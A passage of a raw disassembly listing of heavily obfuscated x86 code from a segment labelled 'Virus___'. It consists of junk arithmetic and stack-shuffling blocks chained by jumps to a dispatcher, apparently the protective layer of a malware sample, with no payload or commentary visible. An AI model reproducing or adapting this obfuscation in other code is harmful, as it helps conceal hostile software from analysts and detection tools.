Virus___:005574EEj pop ebx xor ah, 2 jmp loc_560A31 ; --------------------------------------------------------------------------- loc_553B69: ; CODE XREF: Virus___:00557298j shl edx, 6 not edx inc edx or edx, 131B762Dh xor edx, 0BF7B76A9h jmp loc_55156C ; --------------------------------------------------------------------------- loc_553B80: ; CODE XREF: Virus___:00551DD1j pop esi push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5523E0 ; --------------------------------------------------------------------------- loc_553B93: ; CODE XREF: Virus___:00556E2Bj xor edx, 3B65C7Fh sub edi, 7EC85025h add edi, edx jmp loc_555F10 ; --------------------------------------------------------------------------- loc_553BA6: ; CODE XREF: Virus___:00554059j pop esi add esi, 4 push ebp mov ebp, 4 add esi, ebp jmp loc_55AEAE ; --------------------------------------------------------------------------- loc_553BBA: ; CODE XREF: Virus___:00557408j add edx, 39B304F2h sub edx, 5DC20B6Dh add edx, eax jmp loc_561987 ; --------------------------------------------------------------------------- loc_553BCD: ; CODE XREF: Virus___:00555DF8j pop edx sub esp, 4 mov [esp], edi push esp jmp loc_551E47 ; --------------------------------------------------------------------------- loc_553BDD: ; CODE XREF: Virus___:0055CD54j sub esp, 4 jmp loc_562E3C ; --------------------------------------------------------------------------- loc_553BE5: ; CODE XREF: Virus___:00552C2Aj inc edi and edi, 1B0356F7h push eax mov eax, 0F8EF0053h sub edi, 49C565FDh sub edi, eax add edi, 49C565FDh jmp loc_54FF97 ; --------------------------------------------------------------------------- loc_553C05: ; CODE XREF: Virus___:00555685j sub ecx, 6730C78h pop eax add ecx, 4 xchg ecx, [esp] jmp loc_559747 ; --------------------------------------------------------------------------- loc_553C1A: ; CODE XREF: Virus___:00558FF7j pop edi push 6749h jmp loc_562446 ; --------------------------------------------------------------------------- loc_553C25: ; CODE XREF: Virus___:00561A3Bj sub bl, al push dword ptr [esp] jmp loc_55041E ; --------------------------------------------------------------------------- loc_553C2F: ; CODE XREF: Virus___:0055904Bj and edx, esi jmp loc_560364 ; --------------------------------------------------------------------------- loc_553C36: ; CODE XREF: Virus___:0055F1F2j mov eax, [esp] add esp, 4 xor eax, 53025404h mov edx, eax jmp loc_559855 ; --------------------------------------------------------------------------- loc_553C48: ; CODE XREF: Virus___:00560883j add esp, 4 push esi mov esi, 4E2C0BE9h sub edx, 76840DBAh add edx, esi add edx, 76840DBAh pop esi push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 and eax, edx mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55DA6F ; --------------------------------------------------------------------------- loc_553C8E: ; CODE XREF: Virus___:00551D11j mov esi, [esp] add esp, 4 jmp loc_54F92B ; --------------------------------------------------------------------------- loc_553C99: ; CODE XREF: Virus___:00562598j add esp, 4 jmp loc_55B8FA ; --------------------------------------------------------------------------- loc_553CA4: ; CODE XREF: Virus___:00554973j mov ebx, 7C23CA18h sub ebx, ecx pop ecx xor ebx, 7FFC63E3h jmp loc_563D8B ; --------------------------------------------------------------------------- loc_553CB7: ; CODE XREF: Virus___:00557132j and eax, edi jmp loc_562806 ; --------------------------------------------------------------------------- loc_553CBE: ; CODE XREF: Virus___:0055ECD4j push 0A9E6C50h pop eax xor eax, 0A9E6C50h mov ebx, eax mov eax, [esp] jmp loc_560B2E ; --------------------------------------------------------------------------- loc_553CD3: ; CODE XREF: Virus___:0055B379j neg ebp push ecx push eax mov eax, 72A40092h push edx mov edx, eax mov ecx, edx pop edx pop eax or ecx, 46473268h add ecx, 22EA5D20h sub ebp, ecx pop ecx inc ebp not ebp jmp loc_55E23C ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx push 0FFBh mov [esp], esp jmp loc_550AEA ; --------------------------------------------------------------------------- loc_553D14: ; CODE XREF: Virus___:00553028j mov eax, [esp] add esp, 4 jmp loc_561953 ; --------------------------------------------------------------------------- loc_553D1F: ; CODE XREF: Virus___:0055DF7Dj mov eax, esp push ebx mov ebx, 212E7A30h push ebx inc dword ptr [esp] pop ebx sub ebx, 5FC81880h push edx mov edx, 5BED5C57h sub edx, 2C780C6Bh and ebx, edx jmp loc_56373E ; --------------------------------------------------------------------------- loc_553D45: ; CODE XREF: Virus___:0055A15Dj xor ebx, eax pop small word ptr [eax] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_553D4F: ; CODE XREF: Virus___:0055F083j pop esp push edx push esp jmp loc_55149A ; --------------------------------------------------------------------------- loc_553D57: ; CODE XREF: Virus___:005542DFj and edx, ecx pop ecx jmp loc_556D29 ; --------------------------------------------------------------------------- loc_553D5F: ; CODE XREF: Virus___:00556A66j mov bl, 23h sub bl, 43h push ecx mov ch, bl push edx mov dh, ch mov al, dh pop edx jmp loc_55FB98 ; --------------------------------------------------------------------------- loc_553D72: ; CODE XREF: Virus___:00555AD0j mov eax, esi pop esi or eax, 4FB05CF4h push ebx push 3ECF343Dh pop ebx push ecx jmp loc_55408A ; --------------------------------------------------------------------------- loc_553D87: ; CODE XREF: Virus___:0055D8FBj add ebp, esi sub ebp, 47116E9Eh jmp loc_5612FE ; --------------------------------------------------------------------------- loc_553D94: ; CODE XREF: Virus___:00558171j add esp, 4 add ebx, 0C6418318h add eax, ebx jmp loc_5585D9 ; --------------------------------------------------------------------------- loc_553DA7: ; CODE XREF: Virus___:005534AEj or ecx, esi pop esi jmp loc_564821 ; --------------------------------------------------------------------------- loc_553DAF: ; CODE XREF: Virus___:0055CF91j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55E7BD ; --------------------------------------------------------------------------- loc_553DC6: ; CODE XREF: Virus___:0055CA27j add esp, 4 push 639Fh jmp loc_552D3D ; --------------------------------------------------------------------------- loc_553DD6: ; CODE XREF: Virus___:005597A3j pop edx push small 236Dh mov [esp], cx mov ch, 63h sub al, 60h add al, ch jmp loc_55206E ; --------------------------------------------------------------------------- loc_553DEA: ; CODE XREF: Virus___:00563CF7j push edx mov edx, 50495DC2h sub edx, 50495DBEh add esi, edx pop edx add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_5642B6 ; --------------------------------------------------------------------------- mov ax, [esp] push 6FBFh mov [esp], eax push esp mov eax, [esp] add esp, 4 push ebx mov ebx, 412B6ED9h jmp loc_551668 ; --------------------------------------------------------------------------- loc_553E2F: ; CODE XREF: Virus___:005635ADj sub esp, 4 jmp loc_561CD7 ; --------------------------------------------------------------------------- loc_553E3A: ; CODE XREF: Virus___:00561E31j dec ebx xor ebx, 0D957C3DAh sub eax, ebx jmp loc_563AF6 ; --------------------------------------------------------------------------- loc_553E48: ; CODE XREF: Virus___:0055101Fj pop edx mov ebx, [esp] jmp loc_557F85 ; --------------------------------------------------------------------------- loc_553E51: ; CODE XREF: Virus___:0055AA63j push 0 sub [esp], ebp pop ebp sub ebp, 1 sub esp, 4 mov [esp], edx mov edx, 53781274h xchg esi, edx jmp loc_558816 ; --------------------------------------------------------------------------- loc_553E72: ; CODE XREF: Virus___:00551223j sub eax, 0D75AAABBh add ebx, 615A07A8h add ebx, eax sub ebx, 615A07A8h pop eax xchg ebx, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_553E96: ; CODE XREF: Virus___:00561ABBj pop esp push dword ptr [esp] pop eax add esp, 4 push esi mov esi, 5E09371Ah inc esi push ebp mov ebp, 3828156Dh shr ebp, 7 xor ebp, 7BF2120Bh dec ebp sub ebp, 1 add ebp, 0DE5710C1h sub esi, 33911CFDh add esi, ebp add esi, 33911CFDh mov ebp, [esp] add esp, 4 dec esi sub esi, 519B7FE3h xor eax, esi push dword ptr [esp] pop esi add esp, 4 push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push 4414h mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push ebx mov ebx, 15EE2C08h jmp loc_550745 ; --------------------------------------------------------------------------- loc_553F18: ; CODE XREF: Virus___:005507F5j sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_5606C6 ; --------------------------------------------------------------------------- loc_553F3D: ; CODE XREF: Virus___:00563C52j pop ebp add ecx, 0EC03D65Ah add ebx, ecx pop ecx sub esp, 4 mov [esp], ebx jmp loc_55A4B1 ; --------------------------------------------------------------------------- loc_553F52: ; CODE XREF: Virus___:005529D5j mov edi, 2A56236Bh add edi, 0D5A9DC99h add edx, edi pop edi xchg edx, [esp] pop esp push ecx push eax push ebx jmp loc_55896A ; --------------------------------------------------------------------------- loc_553F6C: ; CODE XREF: Virus___:00551A5Ej xor edx, ebx pop ebx mov eax, edx pop edx shl eax, cl jmp loc_54FC53 ; --------------------------------------------------------------------------- loc_553F79: ; CODE XREF: Virus___:005501CBj push ecx jmp loc_556DC6 ; --------------------------------------------------------------------------- loc_553F7F: ; CODE XREF: Virus___:00559328j add eax, 0E0FB51A3h jmp loc_55B050 ; --------------------------------------------------------------------------- loc_553F89: ; CODE XREF: Virus___:00557862j mov [esp], eax push 4 mov eax, [esp] jmp loc_560126 ; --------------------------------------------------------------------------- loc_553F99: ; CODE XREF: Virus___:005632B9j mov eax, [esp] push 4FEh mov [esp], esi push esp jmp loc_562E4A ; --------------------------------------------------------------------------- loc_553FAA: ; CODE XREF: Virus___:0055010Cj add ecx, 0A1E7028h shr ecx, 2 push ebp jmp loc_554E8D ; --------------------------------------------------------------------------- loc_553FB9: ; CODE XREF: Virus___:00554997j inc eax or eax, 77CF309Dh shr eax, 2 xor eax, 0CDAE9570h jmp loc_560786 ; --------------------------------------------------------------------------- loc_553FCC: ; CODE XREF: Virus___:0055E6B7j shr eax, 2 jmp loc_54FD89 ; --------------------------------------------------------------------------- loc_553FD4: ; CODE XREF: Virus___:0055BE45j sub ebx, 4 push ebx jmp loc_55CA2C ; --------------------------------------------------------------------------- loc_553FDD: ; CODE XREF: Virus___:0055511Aj push edi mov edi, 8E105570h jmp loc_558729 ; --------------------------------------------------------------------------- loc_553FE8: ; CODE XREF: Virus___:0055A13Bj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax jmp loc_5553A3 ; --------------------------------------------------------------------------- loc_554000: ; CODE XREF: Virus___:005525CCj mov ecx, [esp] jmp loc_55DF00 ; --------------------------------------------------------------------------- loc_554008: ; CODE XREF: Virus___:005607A5j push 612Dh mov [esp], ebp mov ebp, esp push eax push 4202h jmp loc_562977 ; --------------------------------------------------------------------------- loc_55401D: ; CODE XREF: Virus___:0055A982j add eax, edi sub eax, 64E5098Dh pop edi push 59E8h mov [esp], esi push 4 pop esi add eax, 33337BD0h add eax, esi sub eax, 33337BD0h mov esi, [esp] add esp, 4 push 21F4h mov [esp], eax push dword ptr [esp+4] mov eax, [esp] push esi push esp jmp loc_553BA6 ; --------------------------------------------------------------------------- loc_55405E: ; CODE XREF: Virus___:005590AFj add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx jmp loc_555A6C ; --------------------------------------------------------------------------- loc_55406C: ; CODE XREF: Virus___:00562D46j and edx, eax mov eax, [esp] add esp, 4 add edx, 0DB7BEEE4h jmp loc_55A600 ; --------------------------------------------------------------------------- loc_55407F: ; CODE XREF: Virus___:005522E6j inc eax neg eax shl eax, 4 jmp loc_55AA06 ; --------------------------------------------------------------------------- loc_55408A: ; CODE XREF: Virus___:00553D82j mov ecx, 41784ACEh xor ebx, ecx pop ecx xor eax, ebx pop ebx add ecx, 48644F23h jmp loc_55C23B ; --------------------------------------------------------------------------- loc_5540A0: ; CODE XREF: Virus___:0055642Fj push eax mov eax, 6173615Eh or esi, eax pop eax push ecx mov ecx, 32A822A9h add esi, ecx pop ecx sub esi, 8C515B7h xor esi, 3170E0F5h xor ebp, esi pop esi add esi, ebp jmp loc_55083B ; --------------------------------------------------------------------------- loc_5540C8: ; CODE XREF: Virus___:00552973j mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push 6915h mov [esp], edx push edx mov edx, esp jmp loc_564076 ; --------------------------------------------------------------------------- loc_5540EA: ; CODE XREF: Virus___:0055547Cj push dword ptr [esp] mov eax, [esp] push edx push 10Ah jmp loc_5571B4 ; --------------------------------------------------------------------------- loc_5540FB: ; CODE XREF: Virus___:00555183j xor [esp], ebx xor ebx, [esp] pop esp shr ecx, 6 sub esp, 4 jmp loc_5624E7 ; --------------------------------------------------------------------------- loc_55410D: ; CODE XREF: Virus___:00557554j push edx jmp loc_56156C ; --------------------------------------------------------------------------- loc_554113: ; CODE XREF: Virus___:005591F5j pop esp add ebx, 5C276B00h push ecx jmp loc_55D723 ; --------------------------------------------------------------------------- loc_554120: ; CODE XREF: Virus___:0055C280j add bl, al push small 1A8Eh jmp loc_55741E ; --------------------------------------------------------------------------- loc_55412B: ; CODE XREF: Virus___:00552FD9j mov [esp], ax mov ah, 0F5h mov cl, ah jmp loc_563062 ; --------------------------------------------------------------------------- loc_554138: ; CODE XREF: Virus___:0055BCCBj push 1AC0h mov [esp], ebp sub esp, 4 push 4E26h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_553A70 ; --------------------------------------------------------------------------- loc_554165: ; CODE XREF: Virus___:0055E700j push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_55B5D1 ; --------------------------------------------------------------------------- loc_554177: ; CODE XREF: Virus___:00551837j add edx, 8745A2CCh add ebp, edx pop edx jmp loc_5573B5 ; --------------------------------------------------------------------------- loc_554185: ; CODE XREF: Virus___:0054FC0Aj pop esi xchg edi, [esp] pop esp push esp pop dword ptr [esp] sub esp, 4 mov [esp], edx push edi mov edi, 8FB6E6Dh jmp loc_554CAF ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi push esp jmp loc_55D665 ; --------------------------------------------------------------------------- loc_5541BF: ; CODE XREF: Virus___:00558E37j pop esp jmp loc_55CAD2 ; --------------------------------------------------------------------------- loc_5541C5: ; CODE XREF: Virus___:0055F7A8j xor [esp], eax not eax jmp loc_55A406 ; --------------------------------------------------------------------------- loc_5541CF: ; CODE XREF: Virus___:00552735j shl edx, 1 sub esp, 4 jmp loc_5553D2 ; --------------------------------------------------------------------------- loc_5541D9: ; CODE XREF: Virus___:0055F469j shr edx, 8 shl edx, 2 jmp loc_550AD7 ; --------------------------------------------------------------------------- loc_5541E4: ; CODE XREF: Virus___:005636D0j xchg edx, edi dec edx not edx xchg edx, edi xor edi, 192E1CE3h neg edi jmp loc_55C043 ; --------------------------------------------------------------------------- loc_5541F8: ; CODE XREF: Virus___:0055AB4Dj push ebx push 78D2h mov [esp], esp add dword ptr [esp], 4 jmp loc_552B4F ; --------------------------------------------------------------------------- loc_55420D: ; CODE XREF: Virus___:0055DEB9j mov ch, 82h jmp loc_5546CB ; --------------------------------------------------------------------------- loc_554214: ; CODE XREF: Virus___:00554B87j add ecx, 4 xchg ecx, [esp] pop esp or ah, 0C9h sub esp, 4 mov [esp], edx jmp loc_55B51A ; --------------------------------------------------------------------------- loc_55422C: ; CODE XREF: Virus___:00563E2Ej pop ebx not edi jmp loc_55CEBD ; --------------------------------------------------------------------------- loc_554234: ; CODE XREF: Virus___:0055CD38j push 3645h mov [esp], ebx push esp jmp loc_561EE7 ; --------------------------------------------------------------------------- loc_554242: ; CODE XREF: Virus___:00560FCBj mov ecx, [esp] jmp loc_55F067 ; --------------------------------------------------------------------------- loc_55424A: ; CODE XREF: Virus___:0055BCE3j pop ecx jmp loc_555278 ; --------------------------------------------------------------------------- mov ax, [esp] push eax jmp loc_553215 ; --------------------------------------------------------------------------- loc_55425A: ; CODE XREF: Virus___:005605DDj dec edx jmp loc_551B59 ; --------------------------------------------------------------------------- loc_554260: ; CODE XREF: Virus___:0055379Bj pop edi add edx, 6EAC7F42h sub edx, eax push ebx mov ebx, 6EAC7F42h push ebx mov ebx, 37615FA2h add edx, ebx jmp loc_55C03A ; --------------------------------------------------------------------------- loc_55427C: ; CODE XREF: Virus___:0055BFE0j xchg ebx, [esp] jmp loc_55C97E ; --------------------------------------------------------------------------- loc_554284: ; CODE XREF: Virus___:00550D81j push esp pop eax add eax, 4 jmp loc_560D80 ; --------------------------------------------------------------------------- loc_554290: ; CODE XREF: Virus___:005523EAj xor ebx, [esp] mov esp, [esp] and [esp], al pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55429F: ; CODE XREF: Virus___:00559364j push ebx mov ebx, 0FC83C57Ch add esi, ebx pop ebx add ebp, esi jmp loc_5560C3 ; --------------------------------------------------------------------------- loc_5542AF: ; CODE XREF: Virus___:005642DDj xor edi, 52AE01DDh mov ebp, edi mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_5614AB ; --------------------------------------------------------------------------- loc_5542D1: ; CODE XREF: Virus___:0055D907j mov [esp], ebx jmp loc_555937 ; --------------------------------------------------------------------------- loc_5542D9: ; CODE XREF: Virus___:0056273Dj sub ecx, 7F5BE502h jmp loc_553D57 ; --------------------------------------------------------------------------- loc_5542E4: ; CODE XREF: Virus___:005554C6j mov ebp, 4 add edx, 0BB14ED7h jmp loc_55704C ; --------------------------------------------------------------------------- loc_5542F4: ; CODE XREF: Virus___:00559A84j push esp pop esi sub esp, 4 mov [esp], ecx mov ecx, 331164BFh shr ecx, 3 jmp loc_555D2C ; --------------------------------------------------------------------------- loc_554309: ; CODE XREF: Virus___:0055F677j add eax, ebx mov ebx, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebx push ax push ecx jmp loc_555E24 ; --------------------------------------------------------------------------- loc_55432F: ; CODE XREF: Virus___:0055CDA8j sub ebx, 0FDF4496h sub ebx, ebp add ebx, 0FDF4496h pop ebp jmp loc_54F8F3 ; --------------------------------------------------------------------------- loc_554343: ; CODE XREF: Virus___:00561C98j sub edi, 11D94929h add edi, 0DE533BEEh jmp loc_5643BA ; --------------------------------------------------------------------------- loc_554354: ; CODE XREF: Virus___:00561DF0j push eax push 50B3h mov [esp], ebp mov ebp, 62560A99h push eax push edx mov edx, 7599559Bh mov eax, 8A66AA66h sub eax, 4C4E4968h sub eax, 3DFD68A1h add eax, edx jmp loc_55B008 ; --------------------------------------------------------------------------- loc_55437F: ; CODE XREF: Virus___:00556A9Ej mov [esp], ebx mov ebx, 4 add esi, ebx jmp loc_554FDC ; --------------------------------------------------------------------------- loc_55438E: ; CODE XREF: Virus___:0056166Cj push 30F4h mov [esp], esi jmp loc_55C0C9 ; --------------------------------------------------------------------------- loc_55439B: ; CODE XREF: Virus___:0055B298j xor edx, edi pop edi add ebp, edx pop edx jmp loc_556210 ; --------------------------------------------------------------------------- loc_5543A6: ; CODE XREF: Virus___:0055E4D6j not esi shl esi, 7 jmp loc_55B9E7 ; --------------------------------------------------------------------------- loc_5543B0: ; CODE XREF: Virus___:005572AEj push ebx push ecx mov cl, 0C5h jmp loc_5571C3 ; --------------------------------------------------------------------------- loc_5543B9: ; CODE XREF: Virus___:005563BEj shr eax, 5 inc eax add eax, 60FBC557h add ebx, 63580E3Bh sub ebx, eax sub ebx, 63580E3Bh pop eax not ebx push edi mov edi, 12CCF8A6h add ebx, edi jmp loc_551DD6 ; --------------------------------------------------------------------------- loc_5543E0: ; CODE XREF: Virus___:00559D74j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5543F5: ; CODE XREF: Virus___:0055F658j pop edi sub ebp, 0FFFFFFFFh neg ebp push esi mov esi, 41122444h add ebp, esi pop esi shl ebp, 1 sub ebp, 0AD67CAB4h add esi, ebp mov ebp, [esp] add esp, 4 jmp loc_557D16 ; --------------------------------------------------------------------------- loc_554419: ; CODE XREF: Virus___:0055555Bj add ecx, 4 jmp loc_552C05 ; --------------------------------------------------------------------------- loc_554424: ; CODE XREF: Virus___:0055C86Bj push ebx jmp loc_558C6F ; --------------------------------------------------------------------------- loc_55442A: ; CODE XREF: Virus___:0055E9D2j xchg edi, [esp] pop esp mov [esp], esp push eax mov eax, 4 sub dword ptr [esp+4], 67EE63A5h add [esp+4], eax add dword ptr [esp+4], 67EE63A5h jmp loc_55A7E1 ; --------------------------------------------------------------------------- loc_554450: ; CODE XREF: Virus___:0055B862j xor ebx, 2D063FD8h add ebx, 96BCC476h sub edi, ebx pop ebx sub edi, ebx sub esp, 4 mov [esp], esi mov esi, 71CF4526h add edi, esi pop esi pop ebx xchg edi, [esp] pop esp mov [esp], edi push dword ptr [esp+4] jmp loc_551C9A ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_555283 ; --------------------------------------------------------------------------- loc_554489: ; CODE XREF: Virus___:005504FDj add [esp+2], si add word ptr [esp+2], 119Ah sub esp, 2 mov [esp], ax mov ax, 3A9Fh add word ptr [esp+4], 46DDh sub [esp+4], ax push di mov di, 46DDh jmp loc_559D33 ; --------------------------------------------------------------------------- loc_5544B7: ; CODE XREF: Virus___:00560568j mov edx, [esp] add esp, 4 sub edx, 11522796h mov esi, [esp] add esp, 4 jmp loc_55A8BC ; --------------------------------------------------------------------------- loc_5544D1: ; CODE XREF: Virus___:0055D549j mov esp, [esp] jmp loc_555471 ; --------------------------------------------------------------------------- loc_5544D9: ; CODE XREF: Virus___:00559459j mov esi, ecx jmp loc_55F56B ; --------------------------------------------------------------------------- loc_5544E0: ; CODE XREF: Virus___:00557A6Bj add ebx, 4 push ebx jmp loc_55395F ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], edx jmp loc_559FF6 ; --------------------------------------------------------------------------- loc_5544F5: ; CODE XREF: Virus___:0054FBC8j add esp, 4 shl ecx, 3 sub ecx, 9B8664EFh mov edi, ecx pop ecx push ebp mov ebp, 3C2D5F75h push ebp mov ebp, 7C846F46h add edi, ebp pop ebp sub edi, ebp push 6E44h jmp loc_55EB21 ; --------------------------------------------------------------------------- loc_55451F: ; CODE XREF: Virus___:0055A5FBj mov edx, 4EB6519Eh and eax, edx pop edx sub eax, 94F624F0h mov ecx, eax pop eax sub ecx, 236B4F47h jmp loc_55BEE8 ; --------------------------------------------------------------------------- loc_55453A: ; CODE XREF: Virus___:00561BF1j mov esi, eax pop eax xchg ebx, esi jmp loc_5505E6 ; --------------------------------------------------------------------------- loc_554544: ; CODE XREF: Virus___:00563F55j pop esp jmp loc_5639C8 ; --------------------------------------------------------------------------- loc_55454A: ; CODE XREF: Virus___:00551573j mov esi, 0ACE8D9C3h jmp loc_55CEF2 ; --------------------------------------------------------------------------- loc_554554: ; CODE XREF: Virus___:0055CE5Ej push 726Fh mov [esp], eax push dword ptr [esp+4] mov eax, [esp] jmp loc_5616F8 ; --------------------------------------------------------------------------- loc_554568: ; CODE XREF: Virus___:005577F0j pop eax add ebx, 4 xchg ebx, [esp] jmp loc_551520 ; --------------------------------------------------------------------------- loc_554574: ; CODE XREF: Virus___:0055F36Cj inc ecx add ecx, 1 not ecx jmp loc_552415 ; --------------------------------------------------------------------------- loc_554582: ; CODE XREF: Virus___:00560326j sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push ebx push 43A07A09h jmp loc_55C783 ; --------------------------------------------------------------------------- loc_55459A: ; CODE XREF: Virus___:0055D680j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_562CEA ; --------------------------------------------------------------------------- loc_5545A9: ; CODE XREF: Virus___:0055E7D5j pop esp mov [esp], edi push 636Fh mov [esp], ebx push 7814h mov [esp], ecx jmp loc_55DB24 ; --------------------------------------------------------------------------- loc_5545C2: ; CODE XREF: Virus___:005579DEj pop esp push esp pop dword ptr [esp] push eax push esi mov esi, 0B35ABh shr esi, 6 jmp loc_55C9CD ; --------------------------------------------------------------------------- loc_5545D6: ; CODE XREF: Virus___:0055C11Cj push edi jmp loc_55B954 ; --------------------------------------------------------------------------- loc_5545DC: ; CODE XREF: Virus___:00562811j push eax not dword ptr [esp] mov eax, [esp] jmp loc_555DDB ; --------------------------------------------------------------------------- loc_5545E8: ; CODE XREF: Virus___:00556DAFj pop edi push ecx mov ecx, 65F91F9Eh sub ecx, 39C507C4h and ecx, 378F10AFh jmp loc_554B8C ; --------------------------------------------------------------------------- loc_554600: ; CODE XREF: Virus___:00560A39j add esp, 4 add bl, 0B4h jmp loc_55D9B4 ; --------------------------------------------------------------------------- loc_55460B: ; CODE XREF: Virus___:005646A8j add ebx, eax push ebp push edi mov edi, 317052B6h mov ebp, 27446E52h xor ebp, edi mov edi, [esp] add esp, 4 add ebx, ebp jmp loc_55C9D8 ; --------------------------------------------------------------------------- loc_554628: ; CODE XREF: Virus___:0055813Dj pop esp mov [esp], eax mov eax, 4 push edi mov edi, 47EA5ECBh not edi add edi, 6C1E83DEh add edi, 0F241A59h add ebx, 6EC07342h sub ebx, edi sub ebx, 6EC07342h mov edi, [esp] add esp, 4 add ebx, eax add ebx, 33583F6Bh mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_554E6C ; --------------------------------------------------------------------------- loc_55467B: ; CODE XREF: Virus___:005590EDj push esi mov esi, 25F5106Bh xor esi, 19B25265h xor esi, 598F5CB0h shl esi, 6 inc esi xor esi, 7297A8B2h sub ebp, esi pop esi sub ebp, esi jmp loc_560F0B ; --------------------------------------------------------------------------- loc_5546A1: ; CODE XREF: Virus___:00557D64j sub eax, esi sub esp, 4 jmp loc_556C70 ; --------------------------------------------------------------------------- loc_5546AE: ; CODE XREF: Virus___:0055A6E2j pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov cx, [esp] sub esp, 4 mov [esp], eax push esp jmp loc_5511EF ; --------------------------------------------------------------------------- loc_5546CB: ; CODE XREF: Virus___:0055420Fj sub al, ch jmp loc_561403 ; --------------------------------------------------------------------------- loc_5546D2: ; CODE XREF: Virus___:00558CAEj push ebx jmp loc_558825 ; --------------------------------------------------------------------------- loc_5546D8: ; CODE XREF: Virus___:0055E7B8j mov edi, ebx jmp loc_5567F5 ; --------------------------------------------------------------------------- loc_5546DF: ; CODE XREF: Virus___:00559232j push ebx push eax push 38056A6Dh mov eax, [esp] jmp loc_54F7F3 ; --------------------------------------------------------------------------- loc_5546EE: ; CODE XREF: Virus___:0054F83Aj pop edi or eax, 0C871FD6h xor eax, 1FD26283h add eax, 467E2590h push edi push ebx push 6C5C20BEh pop ebx sub ebx, 1 sub ebx, 0B3609DD5h jmp loc_55C957 ; --------------------------------------------------------------------------- loc_554717: ; CODE XREF: Virus___:00562AC0j mov edi, esp jmp loc_564CCA ; --------------------------------------------------------------------------- loc_55471E: ; CODE XREF: Virus___:005617F1j mov ebx, 2 add edx, ebx pop ebx push edi jmp loc_5507ED ; --------------------------------------------------------------------------- loc_55472C: ; CODE XREF: Virus___:0055C01Dj pop ebx jmp loc_55C7C3 ; --------------------------------------------------------------------------- loc_554732: ; CODE XREF: Virus___:005647D7j add esi, 0F8A468F7h jmp loc_5512FA ; --------------------------------------------------------------------------- loc_55473D: ; CODE XREF: Virus___:00555273j push edi push 7743h mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 push eax jmp loc_55D719 ; --------------------------------------------------------------------------- loc_554759: ; CODE XREF: Virus___:0054FB7Dj pop edi add eax, esi sub eax, 6BE07868h pop esi push 68CDh mov [esp], ebp sub esp, 4 mov [esp], edi mov edi, 34E474F9h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_557F12 ; --------------------------------------------------------------------------- loc_55478D: ; CODE XREF: Virus___:00551904j mov esp, [esp] mov [esp], eax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_554798: ; CODE XREF: Virus___:0054FEF6j add edx, 42123650h mov ebp, edx pop edx xor ebp, edi jmp loc_5566E2 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_555AB8 ; --------------------------------------------------------------------------- loc_5547B1: ; CODE XREF: Virus___:0055BBC7j add esp, 4 push esi push 534h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push ecx jmp loc_56386F ; --------------------------------------------------------------------------- mov ax, [esp] push 2A64h mov [esp], edi push 41A1h jmp loc_554FE5 ; --------------------------------------------------------------------------- loc_5547E9: ; CODE XREF: Virus___:00550470j add ecx, edx jmp loc_55387C ; --------------------------------------------------------------------------- loc_5547F0: ; CODE XREF: Virus___:00550CC3j pop esp mov edi, ecx pop ecx push 0B3C95581h jmp loc_551705 ; --------------------------------------------------------------------------- loc_5547FE: ; CODE XREF: Virus___:0055D8DDj xor bl, 0E9h sub al, 9Ah push small 4FE2h mov [esp], bx mov bl, 3Ah add al, bl mov bx, [esp] add esp, 2 push ebx jmp loc_5588A6 ; --------------------------------------------------------------------------- loc_55481C: ; CODE XREF: Virus___:00555E60j sub al, 2Ah jmp loc_56281C ; --------------------------------------------------------------------------- loc_554823: ; CODE XREF: Virus___:00553012j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] add esp, 4 jmp loc_55AB96 ; --------------------------------------------------------------------------- loc_55483A: ; CODE XREF: Virus___:0055B61Cj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] xor [esp], al pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55484F: ; CODE XREF: Virus___:0055DC53j pop edx jmp loc_5629BD ; --------------------------------------------------------------------------- loc_554855: ; CODE XREF: Virus___:00556022j push 5C03h mov [esp], eax push edi mov edi, 60805FD6h shl edi, 7 push ebx push eax jmp 